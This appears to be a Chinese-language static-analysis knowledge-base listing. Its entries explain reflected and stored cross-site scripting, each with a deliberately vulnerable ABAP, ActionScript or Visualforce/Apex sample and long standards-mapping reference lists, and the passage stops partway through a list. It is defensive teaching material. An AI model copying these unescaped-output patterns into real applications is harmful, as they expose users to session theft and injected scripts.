543 个项目已找到
弱点
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:下面的 ABAP 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:下面的 ABAP 代码片段会根据一个特定的雇员 ID 来查询数据库,并显示出相应的雇员姓名。


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:以下 ActionScript 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:以下 ActionScript 代码片段会根据一个特定的雇员 ID 来查询数据库,并显示出相应的雇员姓名。


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_reflected
Abstract
向 Web 浏览器发送未经验证的数据可能导致执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源大多数情况下为 Web 请求;而对于 Persistent(也称为 Stored)XSS,该数据源通常为数据库查询的结果。

2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

恶意内容通常为 JavaScript 代码片段,但也可以是 HTML、Flash 或其他任何可以被浏览器执行的活动内容。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。


示例 1:以下 Visualforce 代码片段读取 HTTP 请求参数 username,并将其显示给用户。


<script>
document.write('{!$CurrentPage.parameters.username}')
</script>


此示例中的代码原本是仅接收字母数字文本并进行显示。但是,如果 username 包含元字符或源代码,则其将由 Web 浏览器执行。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:以下 Apex 代码片段在数据库中查询具有给定 ID 的联系人姓名,并返回相应的员工姓名,以便稍后通过 Visualforce 代码进行打印。


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>


Example 1 中所示,如果 name 的值定义明确(如仅包含字母数字字符),该代码就能正常运行,但无法检查是否存在恶意数据。即使从数据库中读取,也应对该值进行适当的验证,因为数据库的内容可能源自用户提供的数据。这样,攻击者就可以在用户的 Web 浏览器中执行恶意命令,而无需像在 Reflected XSS 中那样与受害者进行交互。这种类型的攻击称为 Stored XSS 或 Persistent XSS,它可能极其隐蔽,因为数据会被间接提供给易受攻击的函数;另外,由于这种攻击可能影响多个用户,因而会造成巨大的影响。XSS 漏洞利用首先会在网站上为访问者提供一个“留言簿”。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。有两种 XSS 攻击途径:

- 如Example 1 中所示,系统从 HTTP 请求中读取数据,并在 HTTP 响应中返回数据。如果攻击者可以将危险内容发送给易受攻击的 Web 应用程序,随后将其反馈给用户并在用户浏览器中执行,则会发生 Reflected XSS。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布的或通过电子邮件直接发送给受害者的 URL 中。以这种方式构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者可以借此诱骗受害者访问该 URL。站点将该内容反馈给用户后,便会执行这些内容,并可执行多项操作,例如转发私人敏感信息、在受害者计算机上执行未经授权的操作等。

- 如Example 2 中所示,数据库或其他数据存储可能会向应用程序提供危险数据,这些数据将包含在动态内容中。从攻击者的角度看,存储恶意内容的最佳位置莫过于可供所有用户(特别是具有较高权限的用户)访问的区域,因为这些用户更有可能处理敏感信息或执行重要操作。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
